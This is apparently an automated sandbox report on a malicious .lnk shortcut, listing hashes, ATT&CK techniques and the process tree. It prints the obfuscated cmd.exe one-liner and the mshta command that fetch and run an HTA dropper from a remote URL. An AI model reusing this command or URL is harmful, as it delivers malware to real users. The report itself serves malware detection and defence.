544b12e40573f258089b2390246789a8f4acc327535f061ca52b44b964b44d3d

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:20

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General

Target
DOC-SZKY4Y.lnk
Size 1KB
Sample260804-j8sc7aga38
SHA256 544b12e40573f258089b2390246789a8f4acc327535f061ca52b44b964b44d3d
MD5 dabba66ca83bcbf999e393f4e992540e
SHA1 45ee880a35e59a2550307b2dbbdd4be8e7c61d63
SHA512 b2191c10d2dbaf9c529313d4864be620ddc0ec60e4f14c716e9be6d9a18199d0bdfdf53ca36f6d12ac85df7e676f0733d3d9ee8ddbb6b0a0faa8534157b69540
TLSH
T1ED317B507FFD0624F3F78F7798BB572489BBB9558D24C62E0141454C5032A15E13AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4252	cmd.exe
4488	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 4488	4252	cmd.exe	90
PID 4488 wrote to memory of 4244	4488	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SZKY4Y.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4252
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set ye=msh&&set hy=ta&&start "" !ye!!hy! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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